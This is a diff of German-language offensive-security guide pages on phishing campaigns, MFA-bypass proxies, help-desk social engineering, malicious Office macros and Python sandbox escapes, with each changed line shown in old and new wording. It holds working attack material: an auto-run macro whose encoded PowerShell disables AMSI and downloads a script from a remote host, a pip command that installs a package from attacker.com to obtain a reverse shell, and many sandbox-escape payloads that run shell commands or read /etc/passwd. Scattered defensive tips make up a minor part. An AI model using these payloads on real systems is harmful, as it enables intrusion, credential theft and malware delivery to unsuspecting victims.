> Die E-Mail-Vorlage ermöglicht es auch, **Dateien anzuhängen**. Wenn Sie auch NTLM-Herausforderungen stehlen möchten, indem Sie speziell gestaltete Dateien/Dokumente verwenden, [lesen Sie diese Seite](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### Landing Page
@ -361,7 +361,7 @@ Beachten Sie, dass **um die Glaubwürdigkeit der E-Mail zu erhöhen**, empfohlen
> [!TIP]
> Normalerweise müssen Sie den HTML-Code der Seite ändern und einige Tests lokal durchführen (vielleicht mit einem Apache-Server), **bis Ihnen die Ergebnisse gefallen.** Schreiben Sie dann diesen HTML-Code in das Feld.\
> Beachten Sie, dass Sie, wenn Sie **statische Ressourcen** für das HTML benötigen (vielleicht einige CSS- und JS-Seiten), diese in _**/opt/gophish/static/endpoint**_ speichern können und dann von _**/static/\<dateiname>**_ darauf zugreifen können.
> Beachten Sie, dass Sie, wenn Sie **statische Ressourcen** für das HTML verwenden müssen (vielleicht einige CSS- und JS-Seiten), diese in _**/opt/gophish/static/endpoint**_ speichern können und dann von _**/static/\<dateiname>**_ darauf zugreifen können.
> [!TIP]
> Für die Weiterleitung könnten Sie **die Benutzer zur legitimen Hauptwebseite** des Opfers umleiten oder sie beispielsweise zu _/static/migration.html_ umleiten, eine **Ladeanimation** (**[**https://loading.io/**](https://loading.io)**) für 5 Sekunden anzeigen und dann angeben, dass der Prozess erfolgreich war.
@ -405,20 +405,20 @@ phishing-documents.md
## Phishing MFA
### Via Proxy MitM
### Über Proxy MitM
Der vorherige Angriff ist ziemlich clever, da Sie eine echte Website fälschen und die Informationen sammeln, die der Benutzer eingibt. Leider, wenn der Benutzer das richtige Passwort nicht eingegeben hat oder wenn die gefälschte Anwendung mit 2FA konfiguriert ist, **erlaubt Ihnen diese Information nicht, den getäuschten Benutzer zu impersonieren**.
Hier sind Tools wie [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) und [**muraena**](https://github.com/muraenateam/muraena) nützlich. Dieses Tool ermöglicht es Ihnen, einen MitM-ähnlichen Angriff zu generieren. Grundsätzlich funktioniert der Angriff wie folgt:
Hier sind Tools wie [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) und [**muraena**](https://github.com/muraenateam/muraena) nützlich. Dieses Tool ermöglicht es Ihnen, einen MitM-ähnlichen Angriff zu generieren. Grundsätzlich funktioniert der Angriff folgendermaßen:
1. Sie **imitieren das Login**-Formular der echten Webseite.
2. Der Benutzer **sendet** seine **Anmeldeinformationen** an Ihre gefälschte Seite und das Tool sendet diese an die echte Webseite, **um zu überprüfen, ob die Anmeldeinformationen funktionieren**.
3. Wenn das Konto mit **2FA** konfiguriert ist, wird die MitM-Seite danach fragen, und sobald der **Benutzer es eingibt**, sendet das Tool es an die echte Webseite.
4. Sobald der Benutzer authentifiziert ist, haben Sie (als Angreifer) **die Anmeldeinformationen, die 2FA, das Cookie und alle Informationen** jeder Interaktion erfasst, während das Tool einen MitM durchführt.
### Via VNC
### Über VNC
Was wäre, wenn Sie anstatt **das Opfer auf eine bösartige Seite** mit dem gleichen Aussehen wie die Originalseite zu senden, ihn zu einer **VNC-Sitzung mit einem Browser, der mit der echten Webseite verbunden ist, senden**? Sie können sehen, was er tut, das Passwort, die verwendete MFA, die Cookies stehlen...\
Was wäre, wenn Sie anstatt den **Opfer zu einer bösartigen Seite** mit dem gleichen Aussehen wie die Originalseite zu senden, ihn zu einer **VNC-Sitzung mit einem Browser, der mit der echten Webseite verbunden ist**, senden? Sie können sehen, was er tut, das Passwort, die verwendete MFA, die Cookies stehlen...\
Sie können dies mit [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) tun.
## Erkennung der Erkennung
@ -426,7 +426,7 @@ Sie können dies mit [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) tun.
Offensichtlich ist eine der besten Möglichkeiten zu wissen, ob Sie enttarnt wurden, **Ihre Domain in schwarzen Listen zu durchsuchen**. Wenn sie aufgeführt ist, wurde Ihre Domain irgendwie als verdächtig erkannt.\
Eine einfache Möglichkeit zu überprüfen, ob Ihre Domain in einer schwarzen Liste erscheint, ist die Verwendung von [https://malwareworld.com/](https://malwareworld.com).
Es gibt jedoch auch andere Möglichkeiten zu wissen, ob das Opfer **aktiv nach verdächtigen Phishing-Aktivitäten in der Wildnis sucht**, wie in:
Es gibt jedoch andere Möglichkeiten zu wissen, ob das Opfer **aktiv nach verdächtigen Phishing-Aktivitäten in der Wildnis sucht**, wie in:
{{#ref}}
detecting-phising.md
@ -438,19 +438,19 @@ Sie können **eine Domain mit einem sehr ähnlichen Namen** zur Domain des Opfer
Verwenden Sie [**Phishious** ](https://github.com/Rices/Phishious), um zu bewerten, ob Ihre E-Mail im Spam-Ordner endet oder ob sie blockiert oder erfolgreich ist.
## Hochwertiger Identitätskompromiss (Help-Desk MFA-Reset)
## High-Touch Identitätskompromittierung (Help-Desk MFA-Reset)
Moderne Eindringsets überspringen zunehmend ganz die E-Mail-Fallen und **zielen direkt auf den Service-Desk / Identitätswiederherstellungs-Workflow**, um MFA zu umgehen. Der Angriff ist vollständig "living-off-the-land": Sobald der Betreiber gültige Anmeldeinformationen besitzt, wechselt er mit integrierten Admin-Tools Malware ist nicht erforderlich.
Moderne Eindringsets überspringen zunehmend ganz auf E-Mail-Ablenkungen und **zielen direkt auf den Service-Desk / Identitätswiederherstellungs-Workflow**, um MFA zu umgehen. Der Angriff ist vollständig "living-off-the-land": Sobald der Betreiber gültige Anmeldeinformationen besitzt, wechselt er mit integrierten Admin-Tools Malware ist nicht erforderlich.
### Angriffsfluss
1. Recon der Zielperson
* Ernten Sie persönliche und Unternehmensdetails von LinkedIn, Datenpannen, öffentlichem GitHub usw.
* Identifizieren Sie hochrangige Identitäten (Führungskräfte, IT, Finanzen) und enumerieren Sie den **genauen Help-Desk-Prozess** für Passwort-/MFA-Reset.
2. Echtzeit-Sozialengineering
* Identifizieren Sie hochkarätige Identitäten (Führungskräfte, IT, Finanzen) und enumerieren Sie den **genauen Help-Desk-Prozess** für Passwort-/MFA-Reset.
2. Echtzeit-Sozialtechnik
* Telefonieren, Teams oder chatten Sie mit dem Help-Desk, während Sie das Ziel impersonieren (oft mit **gefälschtem Anrufer-ID** oder **klonierter Stimme**).
* Geben Sie die zuvor gesammelten PII an, um die wissensbasierte Verifizierung zu bestehen.
* Überzeugen Sie den Agenten, das **MFA-Geheimnis zurückzusetzen** oder einen **SIM-Swap** auf einer registrierten Mobilnummer durchzuführen.
3. Sofortige Nachzugriffsaktionen (≤60 Minuten in echten Fällen)
3. Sofortige Nach-Zugriffsaktionen (≤60 Minuten in echten Fällen)
* Stellen Sie einen Zugang über ein beliebiges Web-SSO-Portal her.
* Enumerieren Sie AD / AzureAD mit integrierten Funktionen (keine Binärdateien abgelegt):
```powershell
@ -470,7 +470,7 @@ Get-MgUserRegisteredDevice -UserId <user@corp.local>
* Implementieren Sie **Identity Threat Detection & Response (ITDR)** / **UEBA**-Regeln, die alarmieren bei:
* MFA-Methode geändert + Authentifizierung von neuem Gerät / Geo.
* Sofortige Erhöhung des gleichen Prinzips (Benutzer-→-Admin).
* Zeichnen Sie Help-Desk-Anrufe auf und erzwingen Sie einen **Rückruf an eine bereits registrierte Nummer**, bevor ein Reset erfolgt.
* Protokollieren Sie Help-Desk-Anrufe und erzwingen Sie einen **Rückruf an eine bereits registrierte Nummer**, bevor ein Reset erfolgt.
* Implementieren Sie **Just-In-Time (JIT) / Privileged Access**, sodass neu zurückgesetzte Konten **nicht** automatisch hochprivilegierte Tokens erben.
---
@ -483,13 +483,13 @@ Commodity-Teams kompensieren die Kosten für hochgradige Operationen mit Massang
* `RedLine stealer`
* `Lumma stealer`
* `Lampion Trojan`
3. Der Loader exfiltriert Browser-Cookies + Anmeldeinformationen-Datenbanken und zieht dann einen **stillen Loader**, der entscheidet *in Echtzeit* ob er bereitstellt:
3. Der Loader exfiltriert Browser-Cookies + Anmeldeinformationen-Datenbanken und zieht dann einen **stillen Loader**, der entscheidet *in Echtzeit* ob er deployen soll:
* RAT (z.B. AsyncRAT, RustDesk)
* Ransomware / Wiper
* Persistenzkomponente (Registry Run-Schlüssel + geplanter Task)
### Härtungstipps
* Blockieren Sie neu registrierte Domains und erzwingen Sie **Advanced DNS / URL Filtering** bei *Suchanzeigen* sowie E-Mails.
* Blockieren Sie neu registrierte Domains und erzwingen Sie **Advanced DNS / URL Filtering** für *Suchanzeigen* sowie E-Mails.
* Beschränken Sie die Softwareinstallation auf signierte MSI / Store-Pakete, verweigern Sie die Ausführung von `HTA`, `ISO`, `VBS` durch Richtlinie.
* Überwachen Sie Kindprozesse von Browsern, die Installer öffnen:
```yaml
@ -500,19 +500,19 @@ and child_image: *\\*.exe
---
## KI-unterstützte Phishing-Operationen
Angreifer verknüpfen jetzt **LLM & Voice-Clone-APIs** für vollständig personalisierte Fallen und Echtzeit-Interaktion.
## KI-verbesserte Phishing-Operationen
Angreifer verknüpfen jetzt **LLM- und Voice-Clone-APIs** für vollständig personalisierte Ablenkungen und Echtzeit-Interaktion.
| Schicht | Beispielverwendung durch Bedrohungsakteure |
|-------|-----------------------------|
|Automatisierung|Generieren & senden >100 k E-Mails / SMS mit randomisierten Formulierungen & Tracking-Links.|
|Generative KI|Produzieren *einmalige* E-Mails, die öffentliche M&A, Insider-Witze aus sozialen Medien erwähnen; Deep-Fake-CEO-Stimme im Rückrufbetrug.|
|Automatisierung|Generieren und senden >100 k E-Mails / SMS mit randomisierten Formulierungen und Tracking-Links.|
|Generative KI|Produzieren *einmalige* E-Mails, die auf öffentliche M&A, Insider-Witze aus sozialen Medien verweisen; Deep-Fake-CEO-Stimme im Rückrufbetrug.|
|Agentic KI|Autonom Domains registrieren, Open-Source-Intelligenz scrapen, nächste Stufe E-Mails erstellen, wenn ein Opfer klickt, aber keine Anmeldeinformationen übermittelt.|
**Verteidigung:**
• Fügen Sie **dynamische Banner** hinzu, die Nachrichten hervorheben, die von untrusted Automation gesendet werden (über ARC/DKIM-Anomalien).
• Implementieren Sie **stimm-biometrische Herausforderungsphrasen** für risikobehaftete Telefonanfragen.
• Simulieren Sie kontinuierlich KI-generierte Fallen in Awareness-Programmen statische Vorlagen sind obsolet.
• Simulieren Sie kontinuierlich KI-generierte Ablenkungen in Awareness-Programmen statische Vorlagen sind obsolet.
---

View File

@ -29,8 +29,8 @@ navigator.clipboard.writeText(payload)
1. Der Benutzer besucht eine typosquatted oder kompromittierte Seite (z.B. `docusign.sa[.]com`)
2. Injizierte **ClearFake** JavaScript ruft einen `unsecuredCopyToClipboard()` Helfer auf, der stillschweigend eine Base64-kodierte PowerShell-Einzeiler in die Zwischenablage speichert.
3. HTML-Anweisungen sagen dem Opfer: *„Drücken Sie **Win + R**, fügen Sie den Befehl ein und drücken Sie Enter, um das Problem zu lösen.”*
4. `powershell.exe` wird ausgeführt und lädt ein Archiv herunter, das eine legitime ausführbare Datei sowie eine bösartige DLL enthält (klassisches DLL-Sideloading).
5. Der Loader entschlüsselt zusätzliche Stufen, injiziert Shellcode und installiert Persistenz (z.B. geplante Aufgabe) letztendlich wird NetSupport RAT / Latrodectus / Lumma Stealer ausgeführt.
4. `powershell.exe` wird ausgeführt und lädt ein Archiv herunter, das eine legitime ausführbare Datei plus eine bösartige DLL enthält (klassisches DLL-Sideloading).
5. Der Loader entschlüsselt zusätzliche Stufen, injiziert Shellcode und installiert Persistenz (z.B. geplanter Task) letztendlich wird NetSupport RAT / Latrodectus / Lumma Stealer ausgeführt.
### Beispiel NetSupport RAT Chain
```powershell
@ -69,13 +69,14 @@ Blue-Teams können Clipboard-, Prozess-Erstellungs- und Registrierungs-Telemetri
## Minderung
1. Browser-Härtung deaktivieren Sie den Schreibzugriff auf die Zwischenablage (`dom.events.asyncClipboard.clipboardItem` usw.) oder verlangen Sie eine Benutzerinteraktion.
2. Sicherheitsbewusstsein schulen Sie Benutzer, sensible Befehle *einzutippen* oder sie zuerst in einen Texteditor einzufügen.
2. Sicherheitsbewusstsein schulen Sie Benutzer, sensible Befehle *einzugeben* oder sie zuerst in einen Texteditor einzufügen.
3. PowerShell Constrained Language Mode / Ausführungsrichtlinie + Anwendungssteuerung, um willkürliche Einzeiler zu blockieren.
4. Netzwerksteuerungen blockieren Sie ausgehende Anfragen an bekannte Pastejacking- und Malware-C2-Domains.
## Verwandte Tricks
* **Discord Invite Hijacking** missbraucht oft denselben ClickFix-Ansatz, nachdem Benutzer in einen bösartigen Server gelockt wurden:
{{#ref}}
discord-invite-hijacking.md
{{#endref}}

View File

@ -4,9 +4,9 @@
## Office-Dokumente
Microsoft Word führt eine Datenvalidierung von Dateien durch, bevor eine Datei geöffnet wird. Die Datenvalidierung erfolgt in Form der Identifizierung von Datenstrukturen gemäß dem OfficeOpenXML-Standard. Wenn während der Identifizierung der Datenstruktur ein Fehler auftritt, wird die analysierte Datei nicht geöffnet.
Microsoft Word führt eine Datenvalidierung der Datei durch, bevor eine Datei geöffnet wird. Die Datenvalidierung erfolgt in Form der Identifizierung der Datenstruktur gemäß dem OfficeOpenXML-Standard. Wenn während der Identifizierung der Datenstruktur ein Fehler auftritt, wird die analysierte Datei nicht geöffnet.
In der Regel verwenden Word-Dateien, die Makros enthalten, die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem die Dateierweiterung geändert wird, und dennoch die Fähigkeit zur Ausführung von Makros beizubehalten.\
In der Regel verwenden Word-Dateien, die Makros enthalten, die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateierweiterung ändert und dennoch die Fähigkeit zur Ausführung von Makros beibehält.\
Zum Beispiel unterstützt eine RTF-Datei aus Designgründen keine Makros, aber eine in RTF umbenannte DOCM-Datei wird von Microsoft Word verarbeitet und kann Makros ausführen.\
Die gleichen internen Abläufe und Mechanismen gelten für alle Software der Microsoft Office Suite (Excel, PowerPoint usw.).
@ -23,7 +23,7 @@ _**Kategorien**: Links und Verweise, **Feldnamen**: includePicture, und **Datein
![](<../../images/image (155).png>)
### Makros-Hintertür
### Makros Backdoor
Es ist möglich, Makros zu verwenden, um beliebigen Code aus dem Dokument auszuführen.
@ -34,7 +34,7 @@ Je häufiger sie sind, desto wahrscheinlicher wird sie die AV erkennen.
- AutoOpen()
- Document_Open()
#### Makros-Codebeispiele
#### Makros Codebeispiele
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -66,12 +66,12 @@ proc.Create "powershell <beacon line generated>
```
#### Manuell Metadaten entfernen
Gehe zu **Datei > Informationen > Dokument überprüfen > Dokument überprüfen**, was den Dokumentinspektor öffnet. Klicke auf **Überprüfen** und dann auf **Alle entfernen** neben **Dokumenteigenschaften und persönliche Informationen**.
Gehe zu **Datei > Informationen > Dokument überprüfen > Dokument überprüfen**, um den Dokumentinspektor zu öffnen. Klicke auf **Überprüfen** und dann auf **Alle entfernen** neben **Dokumenteigenschaften und persönliche Informationen**.
#### Doc-Erweiterung
Wenn du fertig bist, wähle im Dropdown-Menü **Speichern unter** den Typ **Word 97-2003 `.doc`**.\
Mach das, weil du **keine Makros in einer `.docx`** speichern kannst und es ein **Stigma** **um** die makroaktivierte **`.docm`**-Erweiterung gibt (z.B. hat das Miniaturansichts-Icon ein riesiges `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc`-Erweiterung der beste Kompromiss**.
Mach das, weil du **keine Makros in einer `.docx`** speichern kannst und es ein **Stigma** **um** die makroaktivierte **`.docm`**-Erweiterung gibt (z. B. hat das Miniaturansichts-Icon ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc`-Erweiterung der beste Kompromiss**.
#### Bösartige Makro-Generatoren
@ -144,10 +144,12 @@ Es gibt mehrere Möglichkeiten, **NTLM-Authentifizierung "aus der Ferne" zu erzw
**Überprüfen Sie diese Ideen und mehr auf den folgenden Seiten:**
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
Dies sind einige Tricks, um die Schutzmaßnahmen von Python-Sandboxes zu umgehen und beliebige Befehle auszuführen.
Dies sind einige Tricks, um die Sandbox-Schutzmaßnahmen von Python zu umgehen und beliebige Befehle auszuführen.
## Command Execution Libraries
@ -43,7 +43,7 @@ Denke daran, dass die _**open**_ und _**read**_ Funktionen nützlich sein könne
> [!CAUTION] > Die **Python2 input()** Funktion erlaubt das Ausführen von Python-Code, bevor das Programm abstürzt.
Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** (der folgende Befehl zeigt an, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'`
Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** (der folgende Befehl zeigt, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
@ -72,7 +72,7 @@ Für weitere Informationen darüber, wie Pickle funktioniert, siehe dies: [https
Trick geteilt von **@isHaacK**
Wenn Sie Zugriff auf `pip` oder `pip.main()` haben, können Sie ein beliebiges Paket installieren und eine Reverse-Shell erhalten, indem Sie Folgendes aufrufen:
Wenn Sie Zugriff auf `pip` oder `pip.main()` haben, können Sie ein beliebiges Paket installieren und eine Reverse-Shell erhalten, indem Sie aufrufen:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
@ -83,15 +83,15 @@ Sie können das Paket zum Erstellen der Reverse-Shell hier herunterladen. Bitte
Reverse.tar (1).gz
{{#endfile}}
> [!NOTE]
> Dieses Paket heißt `Reverse`. Es wurde jedoch speziell erstellt, damit der Rest der Installation fehlschlägt, wenn Sie die Reverse-Shell verlassen, sodass Sie **keine zusätzlichen Python-Pakete auf dem Server installiert lassen**, wenn Sie gehen.
> [!TIP]
> Dieses Paket heißt `Reverse`. Es wurde jedoch speziell so gestaltet, dass der Rest der Installation fehlschlägt, wenn Sie die Reverse-Shell verlassen, sodass Sie **keine zusätzlichen Python-Pakete auf dem Server installiert lassen**, wenn Sie gehen.
## Eval-ing python code
> [!WARNING]
> Beachten Sie, dass exec mehrzeilige Strings und ";" erlaubt, eval jedoch nicht (überprüfen Sie den Walross-Operator).
Wenn bestimmte Zeichen verboten sind, können Sie die **hex/octal/B64** Darstellung verwenden, um die Einschränkung zu **umgehen**:
Wenn bestimmte Zeichen verboten sind, können Sie die **Hex-/Oktal/B64**-Darstellung verwenden, um die Einschränkung zu **umgehen**:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -304,8 +304,8 @@ pass
```
## Builtins
- [**Builtins-Funktionen von python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins-Funktionen von python3**](https://docs.python.org/3/library/functions.html)
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Wenn Sie auf das **`__builtins__`** Objekt zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch eine andere Zeichenfolgenrepräsentation verwenden könnten, die im letzten Abschnitt gezeigt wurde):
```python
@ -317,7 +317,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
Wenn Sie `__builtins__` nicht haben, können Sie nichts importieren und auch keine Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen sind**.\
Allerdings **importiert Python standardmäßig viele Module in den Speicher**. Diese Module mögen harmlos erscheinen, aber einige von ihnen **importieren auch gefährliche** Funktionalitäten, die genutzt werden können, um sogar **willkürliche Codeausführung** zu erlangen.
In den folgenden Beispielen können Sie beobachten, wie man einige dieser "**harmlosen**" Module missbrauchen kann, um **gefährliche** **Funktionalitäten** in ihnen **zuzugreifen**.
In den folgenden Beispielen können Sie beobachten, wie man einige dieser "**harmlosen**" Module ausnutzen kann, um **auf** **gefährliche** **Funktionalitäten** in ihnen zuzugreifen.
**Python2**
```python
@ -367,7 +367,7 @@ get_flag.__globals__['__builtins__']
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### Eingebaute Payloads
### Builtins-Payloads
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -405,7 +405,7 @@ class_obj.__init__.__globals__
## Entdeckung arbiträrer Ausführung
Hier möchte ich erklären, wie man leicht **gefährlichere Funktionen** entdecken kann, die geladen sind, und zuverlässigere Exploits vorschlagen.
Hier möchte ich erklären, wie man leicht **gefährlichere Funktionen** entdecken kann, die geladen werden, und zuverlässigere Exploits vorschlagen.
#### Zugriff auf Unterklassen mit Bypässen
@ -502,7 +502,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Darüber hinaus, wenn Sie denken, dass **andere Bibliotheken** möglicherweise **Funktionen aufrufen können, um Befehle auszuführen**, können wir auch **nach Funktionsnamen** innerhalb der möglichen Bibliotheken **filtern**:
Darüber hinaus, wenn Sie denken, dass **andere Bibliotheken** in der Lage sein könnten, **Funktionen aufzurufen, um Befehle auszuführen**, können wir auch **nach Funktionsnamen** innerhalb der möglichen Bibliotheken **filtern**:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -660,9 +660,9 @@ Sie können die Ausgabe dieses Skripts auf dieser Seite überprüfen:
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
{{#endref}}
## Python Format String
## Python Format-String
Wenn Sie eine **Zeichenfolge** an Python **senden**, die **formatiert** werden soll, können Sie `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Sie können die vorherigen Beispiele verwenden, um beispielsweise auf Globals oder Builtins zuzugreifen.
Wenn Sie eine **Zeichenkette** an Python senden, die **formatiert** werden soll, können Sie `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Sie können die vorherigen Beispiele verwenden, um auf Globals oder Builtins zuzugreifen, zum Beispiel.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -686,7 +686,7 @@ Beachten Sie, wie Sie **Attribute** auf normale Weise mit einem **Punkt** wie `p
Beachten Sie auch, dass Sie `.__dict__` verwenden können, um Elemente eines Objekts aufzulisten `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Einige andere interessante Eigenschaften von Format-Strings sind die Möglichkeit, die **Funktionen** **`str`**, **`repr`** und **`ascii`** im angegebenen Objekt auszuführen, indem Sie **`!s`**, **`!r`**, **`!a`** jeweils hinzufügen:
Einige andere interessante Eigenschaften von Formatstrings sind die Möglichkeit, die **Funktionen** **`str`**, **`repr`** und **`ascii`** im angegebenen Objekt auszuführen, indem Sie **`!s`**, **`!r`**, **`!a`** jeweils hinzufügen:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
@ -705,7 +705,8 @@ return 'HAL 9000'
**Weitere Beispiele** zu **Format** **String** Beispielen finden Sie unter [**https://pyformat.info/**](https://pyformat.info)
> [!VORSICHT]
> Überprüfen Sie auch die folgende Seite auf Gadgets, die **sensible Informationen aus internen Python-Objekten lesen**:
> Überprüfen Sie auch die folgende Seite auf Gadgets, die r**e sensitive Informationen aus internen Python-Objekten** lesen:
{{#ref}}
../python-internal-read-gadgets.md
@ -742,7 +743,7 @@ Es gibt mehr davon im Abschnitt [**Python-Ausführung ohne Aufrufe**](#python-ex
Eine Python-Format-String-Schwachstelle erlaubt es nicht, Funktionen auszuführen (es erlaubt nicht die Verwendung von Klammern), daher ist es nicht möglich, RCE wie `'{0.system("/bin/sh")}'.format(os)` zu erhalten.\
Es ist jedoch möglich, `[]` zu verwenden. Daher, wenn eine gängige Python-Bibliothek eine **`__getitem__`** oder **`__getattr__`** Methode hat, die beliebigen Code ausführt, ist es möglich, diese auszunutzen, um RCE zu erhalten.
Auf der Suche nach einem solchen Gadget in Python schlägt der Bericht diese [**Github-Suchanfrage**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) vor. Wo er dieses [eine](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) gefunden hat:
Auf der Suche nach einem solchen Gadget in Python schlägt der Bericht diese [**Github-Suchanfrage**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) vor. Dort fand er dieses [eine](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -772,7 +773,7 @@ Die Herausforderung missbraucht tatsächlich eine andere Schwachstelle im Server
## Zerlegen von Python-Objekten
> [!NOTE]
> [!TIP]
> Wenn Sie mehr über **python bytecode** erfahren möchten, lesen Sie diesen **tollen** Beitrag zu dem Thema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
In einigen CTFs könnte Ihnen der Name einer **benutzerdefinierten Funktion, in der sich das Flag** befindet, bereitgestellt werden, und Sie müssen die **Interna** der **Funktion** einsehen, um es zu extrahieren.
@ -810,7 +811,7 @@ CustomClassObject.__class__.__init__.__globals__
### **Zugriff auf den Funktionscode**
**`__code__`** und `func_code`: Sie können **auf** dieses **Attribut** der Funktion **zugreifen**, um das **Code-Objekt** der Funktion **zu erhalten**.
**`__code__`** und `func_code`: Sie können dieses **Attribut** der Funktion **zugreifen**, um das **Code-Objekt** der Funktion zu **erhalten**.
```python
# In our current example
get_flag.__code__
@ -922,7 +923,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Kompilieren von Python
Jetzt stellen wir uns vor, dass Sie irgendwie **die Informationen über eine Funktion dumpen können, die Sie nicht ausführen können**, aber Sie **müssen** sie **ausführen**.\
Jetzt stellen wir uns vor, dass Sie irgendwie **die Informationen über eine Funktion, die Sie nicht ausführen können, dumpen können**, aber Sie **müssen** sie **ausführen**.\
Wie im folgenden Beispiel, Sie **können auf das Code-Objekt** dieser Funktion zugreifen, aber nur durch das Lesen der Disassemblierung **wissen Sie nicht, wie Sie das Flag berechnen** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_)
```python
def get_flag(some_input):
@ -938,7 +939,7 @@ return "Nope"
```
### Erstellen des Code-Objekts
Zuerst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion auszuführen, die geleakt wurde:
Zuerst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion auszuführen:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -957,7 +958,7 @@ mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!NOTE]
> [!TIP]
> Je nach Python-Version können die **Parameter** von `code_type` eine **andere Reihenfolge** haben. Der beste Weg, um die Reihenfolge der Parameter in der Python-Version, die Sie ausführen, zu erfahren, ist, Folgendes auszuführen:
>
> ```
@ -969,7 +970,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
### Rekreation einer geleakten Funktion
> [!WARNING]
